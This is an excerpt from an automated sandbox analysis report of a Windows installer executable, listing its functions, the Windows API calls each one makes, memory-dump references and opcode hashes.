                    • String ID: C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\
                    • API String ID: 2962429428-3198310289
                    • Opcode ID: ae973bb0dca4e4815b90d97470301ae31a1ae4600fd43aa67c366af3984d4a62
                    • Instruction ID: 1b7086e6f2e4317af50c710f47857d00c701bc700238930339e1f9ec47f16c49
                    • Opcode Fuzzy Hash: ae973bb0dca4e4815b90d97470301ae31a1ae4600fd43aa67c366af3984d4a62
                    • Instruction Fuzzy Hash: 38C0223010070086F0202F389E0FA183A24670073DBA08329B0B8F00F3CF7C164C841D
                    Function 00405B25 Relevance: 3.0, APIs: 2, Instructions: 9COMMON
                    Download Yara Rule
                    APIs
                    • CreateDirectoryW.KERNELBASE(?,00000000,00403545,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,0040383C,?,00000008,0000000A,0000000C), ref: 00405B2B
                    • GetLastError.KERNEL32(?,00000008,0000000A,0000000C,?,?,?,?,?,?,?,?), ref: 00405B39
                    Memory Dump Source
                    • Source File: 00000000.00000002.2396593636.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                    • Associated: 00000000.00000002.2396554700.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                    • Associated: 00000000.00000002.2396634920.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
                    • Associated: 00000000.00000002.2396675849.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
                    • Associated: 00000000.00000002.2396675849.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
                    • Associated: 00000000.00000002.2396675849.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
                    • Associated: 00000000.00000002.2396675849.0000000000440000.00000004.00000001.01000000.00000003.sdmpDownload File
                    • Associated: 00000000.00000002.2396855206.0000000000474000.00000002.00000001.01000000.00000003.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_0_2_400000_Auu2j0pT0B.jbxd
                    Similarity
                    • API ID: CreateDirectoryErrorLast
                    • String ID:
                    • API String ID: 1375471231-0
                    • Opcode ID: 7ce514c051633c67dabed91c1ba2c830ad6f4192d7236d4c27a26ed09d9cb01d
                    • Instruction ID: 2532c664264170c07cbc731aa09703a23e3881c092aaf3b019fc47175ec23a7b
                    • Opcode Fuzzy Hash: 7ce514c051633c67dabed91c1ba2c830ad6f4192d7236d4c27a26ed09d9cb01d
                    • Instruction Fuzzy Hash: 98C04C70604906DAD7505F219F087177960AB50741F158439A6C7F40A0DA74A455D92D
                    Function 00406412 Relevance: 1.5, APIs: 1, Instructions: 24registryCOMMON
                    Download Yara Rule
                    APIs
                    • RegCreateKeyExW.KERNELBASE(00000000,?,00000000,00000000,00000000,?,00000000,?,00000000,?,?,?,00402E7C,00000000,?,?), ref: 0040643B
                    Memory Dump Source
                    • Source File: 00000000.00000002.2396593636.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                    • Associated: 00000000.00000002.2396554700.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                    • Associated: 00000000.00000002.2396634920.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
                    • Associated: 00000000.00000002.2396675849.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
                    • Associated: 00000000.00000002.2396675849.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
                    • Associated: 00000000.00000002.2396675849.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
                    • Associated: 00000000.00000002.2396675849.0000000000440000.00000004.00000001.01000000.00000003.sdmpDownload File
                    • Associated: 00000000.00000002.2396855206.0000000000474000.00000002.00000001.01000000.00000003.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_0_2_400000_Auu2j0pT0B.jbxd
                    Similarity
                    • API ID: Create
                    • String ID:
                    • API String ID: 2289755597-0
                    • Opcode ID: b17b4e85cc10dff7c00d1995fa2300a068af545831f113dbcef6cd8b4d780b07
                    • Instruction ID: 173efcb61436e01de2ec3b268cd8b302251cd5bc368a703a1804e99dfb897165
                    • Opcode Fuzzy Hash: b17b4e85cc10dff7c00d1995fa2300a068af545831f113dbcef6cd8b4d780b07
                    • Instruction Fuzzy Hash: 51E0BF72010109BFEF095F60DD4AD7B3A1DE708610B11852EF906D5051E6B5A9705675
                    Function 00406119 Relevance: 1.5, APIs: 1, Instructions: 22fileCOMMON
                    Download Yara Rule
                    APIs
                    • WriteFile.KERNELBASE(00000000,00000000,00000004,00000004,00000000,000000FF,?,004034BD,00000000,0041EA20,000000FF,0041EA20,000000FF,000000FF,00000004,00000000), ref: 0040612D
                    Memory Dump Source
                    • Source File: 00000000.00000002.2396593636.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                    • Associated: 00000000.00000002.2396554700.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                    • Associated: 00000000.00000002.2396634920.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
                    • Associated: 00000000.00000002.2396675849.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
                    • Associated: 00000000.00000002.2396675849.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
                    • Associated: 00000000.00000002.2396675849.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
                    • Associated: 00000000.00000002.2396675849.0000000000440000.00000004.00000001.01000000.00000003.sdmpDownload File
                    • Associated: 00000000.00000002.2396855206.0000000000474000.00000002.00000001.01000000.00000003.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_0_2_400000_Auu2j0pT0B.jbxd
                    Similarity
                    • API ID: FileWrite
                    • String ID:
                    • API String ID: 3934441357-0
                    • Opcode ID: 4494c28c6fc58b77f7b94402ffbb10e79d92760fb9961e7d9dbcb201027e3d13
                    • Instruction ID: 5447fabf40714e60d37a3b8d529c829a5aab84dab7567664cea5a9789522ebfd
                    • Opcode Fuzzy Hash: 4494c28c6fc58b77f7b94402ffbb10e79d92760fb9961e7d9dbcb201027e3d13
                    • Instruction Fuzzy Hash: DFE08C3221021ABBDF109E518C00EEB3B6CEB003A0F014432FD26E7050D630E86097A4
                    Function 004060EA Relevance: 1.5, APIs: 1, Instructions: 22fileCOMMON
                    Download Yara Rule
                    APIs
                    • ReadFile.KERNELBASE(00000000,00000000,00000004,00000004,00000000,000000FF,?,00403507,00000000,00000000,0040332B,000000FF,00000004,00000000,00000000,00000000), ref: 004060FE
                    Memory Dump Source
                    • Source File: 00000000.00000002.2396593636.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                    • Associated: 00000000.00000002.2396554700.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                    • Associated: 00000000.00000002.2396634920.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
                    • Associated: 00000000.00000002.2396675849.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
                    • Associated: 00000000.00000002.2396675849.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
                    • Associated: 00000000.00000002.2396675849.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
                    • Associated: 00000000.00000002.2396675849.0000000000440000.00000004.00000001.01000000.00000003.sdmpDownload File
                    • Associated: 00000000.00000002.2396855206.0000000000474000.00000002.00000001.01000000.00000003.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_0_2_400000_Auu2j0pT0B.jbxd
                    Similarity
                    • API ID: FileRead
                    • String ID:
                    • API String ID: 2738559852-0
                    • Opcode ID: 076a4193e787d8b2f8fcded04b516b0b1a94860d7d4352c54bed072072f3bbd3
                    • Instruction ID: 2902185137110ca2ffdb2282e3c832ce644deeff7f1201e2b4f2572205eed693
                    • Opcode Fuzzy Hash: 076a4193e787d8b2f8fcded04b516b0b1a94860d7d4352c54bed072072f3bbd3
                    • Instruction Fuzzy Hash: D0E08C3221021AABCF109E508C01EEB3BACFF043A0F014432FD12EB042D230E9229BA4
                    Function 00406337 Relevance: 1.5, APIs: 1, Instructions: 13COMMON
                    Download Yara Rule
                    APIs
                    • MoveFileExW.KERNELBASE(?,?,00000005,00405E35,?,00000000,000000F1,?,?,?,?,?), ref: 00406341
                      • Part of subcall function 004061BD: CloseHandle.KERNEL32(00000000,?,00000000,00000001,?,00000000,?,?,00406358,?,?), ref: 004061F8
                      • Part of subcall function 004061BD: GetShortPathNameW.KERNEL32(?,00430108,00000400), ref: 00406201
                      • Part of subcall function 004061BD: GetShortPathNameW.KERNEL32(?,00430908,00000400), ref: 0040621E
                      • Part of subcall function 004061BD: wsprintfA.USER32 ref: 0040623C
                      • Part of subcall function 004061BD: GetFileSize.KERNEL32(00000000,00000000,00430908,C0000000,00000004,00430908,?,?,?,?,?), ref: 00406277
                      • Part of subcall function 004061BD: GlobalAlloc.KERNEL32(00000040,0000000A,?,?,?,?), ref: 00406286
                      • Part of subcall function 004061BD: lstrcpyA.KERNEL32(00000000,[Rename],00000000,[Rename],00000000,00000000,00000000,?,?,?,?), ref: 004062BE
                      • Part of subcall function 004061BD: SetFilePointer.KERNEL32(0040A580,00000000,00000000,00000000,00000000,0042FD08,00000000,-0000000A,0040A580,00000000,[Rename],00000000,00000000,00000000), ref: 00406314
                    Memory Dump Source
                    • Source File: 00000000.00000002.2396593636.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                    • Associated: 00000000.00000002.2396554700.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                    • Associated: 00000000.00000002.2396634920.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
                    • Associated: 00000000.00000002.2396675849.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
                    • Associated: 00000000.00000002.2396675849.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
                    • Associated: 00000000.00000002.2396675849.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
                    • Associated: 00000000.00000002.2396675849.0000000000440000.00000004.00000001.01000000.00000003.sdmpDownload File
                    • Associated: 00000000.00000002.2396855206.0000000000474000.00000002.00000001.01000000.00000003.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_0_2_400000_Auu2j0pT0B.jbxd
                    Similarity
                    • API ID: File$NamePathShort$AllocCloseGlobalHandleMovePointerSizelstrcpywsprintf
                    • String ID:
                    • API String ID: 1930046112-0
                    • Opcode ID: bc3e1b88f0876d926df3a32e41be61310c0030b55e7fa6024756c8d654897218
                    • Instruction ID: db6745880c5910d2d7dcfd7911e554cf860ab6741e0bf409e246791bbe9e86c2
                    • Opcode Fuzzy Hash: bc3e1b88f0876d926df3a32e41be61310c0030b55e7fa6024756c8d654897218
                    • Instruction Fuzzy Hash: DED0C732108241BEDB052F50ED0591B7BA5FF94355F11D43EF599551B1D7318461DF05
                    Function 0040350A Relevance: 1.5, APIs: 1, Instructions: 6COMMON
                    Download Yara Rule
                    APIs
                    • SetFilePointer.KERNELBASE(00000000,00000000,00000000,00403267,?), ref: 00403518
                    Memory Dump Source
                    • Source File: 00000000.00000002.2396593636.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                    • Associated: 00000000.00000002.2396554700.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                    • Associated: 00000000.00000002.2396634920.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
                    • Associated: 00000000.00000002.2396675849.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
                    • Associated: 00000000.00000002.2396675849.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
                    • Associated: 00000000.00000002.2396675849.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
                    • Associated: 00000000.00000002.2396675849.0000000000440000.00000004.00000001.01000000.00000003.sdmpDownload File
                    • Associated: 00000000.00000002.2396855206.0000000000474000.00000002.00000001.01000000.00000003.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_0_2_400000_Auu2j0pT0B.jbxd
                    Similarity
                    • API ID: FilePointer
                    • String ID:
                    • API String ID: 973152223-0
                    • Opcode ID: 9851be0de28bb9513f6e500a0df6ea838ed72b99fd7baa621d8f85bec57c8f40
                    • Instruction ID: 1f5c7ae16c2334422adcad36111bde95194575cbdac9b1f52e29a9f6e91cc98e
                    • Opcode Fuzzy Hash: 9851be0de28bb9513f6e500a0df6ea838ed72b99fd7baa621d8f85bec57c8f40
                    • Instruction Fuzzy Hash: 34B01271240300BFDA214F00DF09F057B21ABA0700F10C034B388380F086711035EB0D
                    Function 00401FC9 Relevance: 1.3, APIs: 1, Instructions: 37COMMON
                    Download Yara Rule
                    APIs
                      • Part of subcall function 004055FC: lstrlenW.KERNEL32(0042BA48,00000000,00423E20,759223A0,?,?,?,?,?,?,?,?,?,0040343D,00000000,?), ref: 00405634
                      • Part of subcall function 004055FC: lstrlenW.KERNEL32(0040343D,0042BA48,00000000,00423E20,759223A0,?,?,?,?,?,?,?,?,?,0040343D,00000000), ref: 00405644
                      • Part of subcall function 004055FC: lstrcatW.KERNEL32(0042BA48,0040343D,0040343D,0042BA48,00000000,00423E20,759223A0), ref: 00405657
                      • Part of subcall function 004055FC: SetWindowTextW.USER32(0042BA48,0042BA48), ref: 00405669
                      • Part of subcall function 004055FC: SendMessageW.USER32(?,00001004,00000000,00000000), ref: 0040568F
                      • Part of subcall function 004055FC: SendMessageW.USER32(?,0000104D,00000000,00000001), ref: 004056A9
                      • Part of subcall function 004055FC: SendMessageW.USER32(?,00001013,?,00000000), ref: 004056B7
                      • Part of subcall function 00405B5A: CreateProcessW.KERNELBASE(00000000,00437800,00000000,00000000,00000000,04000000,00000000,00000000,0042FA70,?,?,?,00437800,?), ref: 00405B83
                      • Part of subcall function 00405B5A: CloseHandle.KERNEL32(?,?,?,00437800,?), ref: 00405B90
                    • CloseHandle.KERNEL32(?,?,?,?,?,?), ref: 00402010
                      • Part of subcall function 00406A16: WaitForSingleObject.KERNEL32(?,00000064), ref: 00406A27
                      • Part of subcall function 00406A16: GetExitCodeProcess.KERNELBASE(?,?), ref: 00406A49
                      • Part of subcall function 004064BE: wsprintfW.USER32 ref: 004064CB
                    Memory Dump Source
                    • Source File: 00000000.00000002.2396593636.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                    • Associated: 00000000.00000002.2396554700.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                    • Associated: 00000000.00000002.2396634920.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
                    • Associated: 00000000.00000002.2396675849.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
                    • Associated: 00000000.00000002.2396675849.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
                    • Associated: 00000000.00000002.2396675849.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
                    • Associated: 00000000.00000002.2396675849.0000000000440000.00000004.00000001.01000000.00000003.sdmpDownload File
                    • Associated: 00000000.00000002.2396855206.0000000000474000.00000002.00000001.01000000.00000003.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_0_2_400000_Auu2j0pT0B.jbxd
                    Similarity
                    • API ID: MessageSend$CloseHandleProcesslstrlen$CodeCreateExitObjectSingleTextWaitWindowlstrcatwsprintf
                    • String ID:
                    • API String ID: 2972824698-0
                    • Opcode ID: f3bc0ec1b70cec7457a4bdbd95c89a475c59590d6f8743061159391c9333bea6
                    • Instruction ID: 3bd5da99d2ff211530604a8704e688701187be5a7f5114c752edafe9c60b233e
                    • Opcode Fuzzy Hash: f3bc0ec1b70cec7457a4bdbd95c89a475c59590d6f8743061159391c9333bea6
                    • Instruction Fuzzy Hash: 82F0F6329041119BDB20BBA18A895DE76A4CF00318F21803FE202B21C6CBBC4D41AB6E

                    Non-executed Functions

                    Function 0040573B Relevance: 65.0, APIs: 36, Strings: 1, Instructions: 284windowclipboardmemoryCOMMON
                    Download Yara Rule
                    APIs
                    • GetDlgItem.USER32(?,00000403), ref: 00405799
                    • GetDlgItem.USER32(?,000003EE), ref: 004057A8
                    • GetClientRect.USER32(?,?), ref: 004057E5
                    • GetSystemMetrics.USER32(00000002), ref: 004057EC
                    • SendMessageW.USER32(?,00001061,00000000,?), ref: 0040580D
                    • SendMessageW.USER32(?,00001036,00004000,00004000), ref: 0040581E
                    • SendMessageW.USER32(?,00001001,00000000,00000110), ref: 00405831
                    • SendMessageW.USER32(?,00001026,00000000,00000110), ref: 0040583F
                    • SendMessageW.USER32(?,00001024,00000000,?), ref: 00405852
                    • ShowWindow.USER32(00000000,?,0000001B,000000FF), ref: 00405874
                    • ShowWindow.USER32(?,00000008), ref: 00405888
                    • GetDlgItem.USER32(?,000003EC), ref: 004058A9
                    • SendMessageW.USER32(00000000,00000401,00000000,75300000), ref: 004058B9
                    • SendMessageW.USER32(00000000,00000409,00000000,?), ref: 004058D2
                    • SendMessageW.USER32(00000000,00002001,00000000,00000110), ref: 004058DE
                    • GetDlgItem.USER32(?,000003F8), ref: 004057B7
                      • Part of subcall function 0040452B: SendMessageW.USER32(00000028,?,00000001,00404356), ref: 00404539
                    • GetDlgItem.USER32(?,000003EC), ref: 004058FB
                    • CreateThread.KERNEL32(00000000,00000000,Function_000056CF,00000000), ref: 00405909
                    • CloseHandle.KERNEL32(00000000), ref: 00405910
                    • ShowWindow.USER32(00000000), ref: 00405934
                    • ShowWindow.USER32(?,00000008), ref: 00405939
                    • ShowWindow.USER32(00000008), ref: 00405983
                    • SendMessageW.USER32(?,00001004,00000000,00000000), ref: 004059B7
                    • CreatePopupMenu.USER32 ref: 004059C8
                    • AppendMenuW.USER32(00000000,00000000,00000001,00000000), ref: 004059DC
                    • GetWindowRect.USER32(?,?), ref: 004059FC
                    • TrackPopupMenu.USER32(00000000,00000180,?,?,00000000,?,00000000), ref: 00405A15
                    • SendMessageW.USER32(?,00001073,00000000,?), ref: 00405A4D
                    • OpenClipboard.USER32(00000000), ref: 00405A5D
                    • EmptyClipboard.USER32 ref: 00405A63
                    • GlobalAlloc.KERNEL32(00000042,00000000), ref: 00405A6F
                    • GlobalLock.KERNEL32(00000000), ref: 00405A79
                    • SendMessageW.USER32(?,00001073,00000000,?), ref: 00405A8D
                    • GlobalUnlock.KERNEL32(00000000), ref: 00405AAD
                    • SetClipboardData.USER32(0000000D,00000000), ref: 00405AB8
                    • CloseClipboard.USER32 ref: 00405ABE
                    Strings
                    Memory Dump Source
                    • Source File: 00000000.00000002.2396593636.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                    • Associated: 00000000.00000002.2396554700.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                    • Associated: 00000000.00000002.2396634920.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
                    • Associated: 00000000.00000002.2396675849.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
                    • Associated: 00000000.00000002.2396675849.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
                    • Associated: 00000000.00000002.2396675849.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
                    • Associated: 00000000.00000002.2396675849.0000000000440000.00000004.00000001.01000000.00000003.sdmpDownload File
                    • Associated: 00000000.00000002.2396855206.0000000000474000.00000002.00000001.01000000.00000003.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_0_2_400000_Auu2j0pT0B.jbxd
                    Similarity
                    • API ID: MessageSend$Window$ItemShow$Clipboard$GlobalMenu$CloseCreatePopupRect$AllocAppendClientDataEmptyHandleLockMetricsOpenSystemThreadTrackUnlock
                    • String ID: {
                    • API String ID: 590372296-366298937
                    • Opcode ID: dfead9bfc37cf3db2b35e915a87c725964709008a4f247d6999fb4be6a1ac7a0
                    • Instruction ID: d3b07f9c2581fb6b60ef1a2666babd9f8dcdaaa8066b0d43d813b8afd8e95190
                    • Opcode Fuzzy Hash: dfead9bfc37cf3db2b35e915a87c725964709008a4f247d6999fb4be6a1ac7a0
                    • Instruction Fuzzy Hash: 03B159B0900608FFDF11AF60DD89AAE7B79FB48355F00813AFA45BA1A0C7785A51DF58
                    Function 004049E7 Relevance: 21.3, APIs: 10, Strings: 2, Instructions: 275stringCOMMON
                    Download Yara Rule
                    APIs
                    • GetDlgItem.USER32(?,000003FB), ref: 00404A36
                    • SetWindowTextW.USER32(00000000,?), ref: 00404A60
                    • SHBrowseForFolderW.SHELL32(?), ref: 00404B11
                    • CoTaskMemFree.OLE32(00000000), ref: 00404B1C
                    • lstrcmpiW.KERNEL32(Del,0042CA68,00000000,?,?), ref: 00404B4E
                    • lstrcatW.KERNEL32(?,Del), ref: 00404B5A
                    • SetDlgItemTextW.USER32(?,000003FB,?), ref: 00404B6C
                      • Part of subcall function 00405BBB: GetDlgItemTextW.USER32(?,?,00000400,00404BA3), ref: 00405BCE
                      • Part of subcall function 00406825: CharNextW.USER32(?,*?|<>/":,00000000,0043F000,75923420,C:\Users\user\AppData\Local\Temp\,00000000,0040352D,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,0040383C,?,00000008,0000000A,0000000C), ref: 00406888
                      • Part of subcall function 00406825: CharNextW.USER32(?,?,?,00000000,?,00000008,0000000A,0000000C,?,?,?,?,?,?,?,?), ref: 00406897
                      • Part of subcall function 00406825: CharNextW.USER32(?,0043F000,75923420,C:\Users\user\AppData\Local\Temp\,00000000,0040352D,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,0040383C,?,00000008,0000000A,0000000C), ref: 0040689C
                      • Part of subcall function 00406825: CharPrevW.USER32(?,?,75923420,C:\Users\user\AppData\Local\Temp\,00000000,0040352D,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,0040383C,?,00000008,0000000A,0000000C), ref: 004068AF
                    • GetDiskFreeSpaceW.KERNEL32(0042AA38,?,?,0000040F,?,0042AA38,0042AA38,?,00000001,0042AA38,?,?,000003FB,?), ref: 00404C2F
                    • MulDiv.KERNEL32(?,0000040F,00000400), ref: 00404C4A
                      • Part of subcall function 00404DA3: lstrlenW.KERNEL32(0042CA68,0042CA68,?,%u.%u%s%s,00000005,00000000,00000000,?,000000DC,00000000,?,000000DF,00000000,00000400,?), ref: 00404E44
                      • Part of subcall function 00404DA3: wsprintfW.USER32 ref: 00404E4D
                      • Part of subcall function 00404DA3: SetDlgItemTextW.USER32(?,0042CA68), ref: 00404E60
                    Strings
                    Memory Dump Source
                    • Source File: 00000000.00000002.2396593636.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                    • Associated: 00000000.00000002.2396554700.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                    • Associated: 00000000.00000002.2396634920.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
                    • Associated: 00000000.00000002.2396675849.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
                    • Associated: 00000000.00000002.2396675849.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
                    • Associated: 00000000.00000002.2396675849.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
                    • Associated: 00000000.00000002.2396675849.0000000000440000.00000004.00000001.01000000.00000003.sdmpDownload File
                    • Associated: 00000000.00000002.2396855206.0000000000474000.00000002.00000001.01000000.00000003.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_0_2_400000_Auu2j0pT0B.jbxd
                    Similarity
                    • API ID: CharItemText$Next$Free$BrowseDiskFolderPrevSpaceTaskWindowlstrcatlstrcmpilstrlenwsprintf
                    • String ID: A$Del
                    • API String ID: 2624150263-2818320640
                    • Opcode ID: 716f91307e0c0206c4811f73cf3aa40f2f43fcc6cf09981b0470e9a043fb6368
                    • Instruction ID: 819d6111372f9eb468737b2dc9595d459319e5efb98401d1644bfd8e85b56d65
                    • Opcode Fuzzy Hash: 716f91307e0c0206c4811f73cf3aa40f2f43fcc6cf09981b0470e9a043fb6368
                    • Instruction Fuzzy Hash: 14A180B1901208ABDB11EFA5DD45BAFB7B8EF84314F11803BF601B62D1D77C9A418B69
                    Function 004021CF Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 129comCOMMON
                    Download Yara Rule
                    APIs
                    • CoCreateInstance.OLE32(004085E8,?,00000001,004085D8,?,?,00000045,000000CD,00000002,000000DF,000000F0), ref: 0040224E
                    Strings
                    • C:\Users\user\AppData\Local\Temp\nsx4F86.tmp, xrefs: 0040228E
                    Memory Dump Source
                    • Source File: 00000000.00000002.2396593636.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                    • Associated: 00000000.00000002.2396554700.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                    • Associated: 00000000.00000002.2396634920.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
                    • Associated: 00000000.00000002.2396675849.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
                    • Associated: 00000000.00000002.2396675849.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
                    • Associated: 00000000.00000002.2396675849.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
                    • Associated: 00000000.00000002.2396675849.0000000000440000.00000004.00000001.01000000.00000003.sdmpDownload File
                    • Associated: 00000000.00000002.2396855206.0000000000474000.00000002.00000001.01000000.00000003.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_0_2_400000_Auu2j0pT0B.jbxd
                    Similarity
                    • API ID: CreateInstance
                    • String ID: C:\Users\user\AppData\Local\Temp\nsx4F86.tmp
                    • API String ID: 542301482-2788028680
                    • Opcode ID: 99423ef168fa0dc7d563ab215b90f00d26a2448a52d76e49bcb10065e06d2d2e
                    • Instruction ID: 879178e2914a864b6efeea5842d2d3985b85c893096dfa9a9f6c7732eb85e553
                    • Opcode Fuzzy Hash: 99423ef168fa0dc7d563ab215b90f00d26a2448a52d76e49bcb10065e06d2d2e
                    • Instruction Fuzzy Hash: D1412571A00209AFCB00DFE4CA89A9D7BB5FF48318B20457EF505EB2D1DB799981CB54
                    Function 00402930 Relevance: 1.5, APIs: 1, Instructions: 30fileCOMMON
                    Download Yara Rule
                    APIs
                    • FindFirstFileW.KERNEL32(00000000,?,00000002), ref: 0040293F
                    Memory Dump Source
                    • Source File: 00000000.00000002.2396593636.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                    • Associated: 00000000.00000002.2396554700.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                    • Associated: 00000000.00000002.2396634920.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
                    • Associated: 00000000.00000002.2396675849.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
                    • Associated: 00000000.00000002.2396675849.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
                    • Associated: 00000000.00000002.2396675849.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
                    • Associated: 00000000.00000002.2396675849.0000000000440000.00000004.00000001.01000000.00000003.sdmpDownload File
                    • Associated: 00000000.00000002.2396855206.0000000000474000.00000002.00000001.01000000.00000003.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_0_2_400000_Auu2j0pT0B.jbxd
                    Similarity
                    • API ID: FileFindFirst
                    • String ID:
                    • API String ID: 1974802433-0
                    • Opcode ID: f7eec81d6910abfa52e209e80917fba1586809f9bcb970d7ef1d97902b1d379f
                    • Instruction ID: 26e9208e2aa2ebd90a7e98889f3239c7d6ed4a815a584e9a2b1206afb1357c73
                    • Opcode Fuzzy Hash: f7eec81d6910abfa52e209e80917fba1586809f9bcb970d7ef1d97902b1d379f
                    • Instruction Fuzzy Hash: D1F08C71A04105AAD700EBE4EE499AEB378EF14324F20017BE112F31E5D7B89E509B2E
                    Function 00406DE6 Relevance: .3, Instructions: 334COMMON
                    Download Yara Rule
                    Memory Dump Source
                    • Source File: 00000000.00000002.2396593636.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                    • Associated: 00000000.00000002.2396554700.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                    • Associated: 00000000.00000002.2396634920.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
                    • Associated: 00000000.00000002.2396675849.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
                    • Associated: 00000000.00000002.2396675849.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
                    • Associated: 00000000.00000002.2396675849.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
                    • Associated: 00000000.00000002.2396675849.0000000000440000.00000004.00000001.01000000.00000003.sdmpDownload File
                    • Associated: 00000000.00000002.2396855206.0000000000474000.00000002.00000001.01000000.00000003.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_0_2_400000_Auu2j0pT0B.jbxd
                    Similarity
                    • API ID:
                    • String ID:
                    • API String ID:
                    • Opcode ID: ca9fc840679c4677ea5dd763a2b97f011fd48deb17cd4c9d43ec117c62889360
                    • Instruction ID: 02047a1f5ab1e1ae91636e32b2ea393de8a2dfbdc7c3bc720fead707395ef2b6
                    • Opcode Fuzzy Hash: ca9fc840679c4677ea5dd763a2b97f011fd48deb17cd4c9d43ec117c62889360
                    • Instruction Fuzzy Hash: 74E19A71A0470ADFCB24CF58C890BAABBF5FF44305F15852EE496A72D1E738AA51CB05
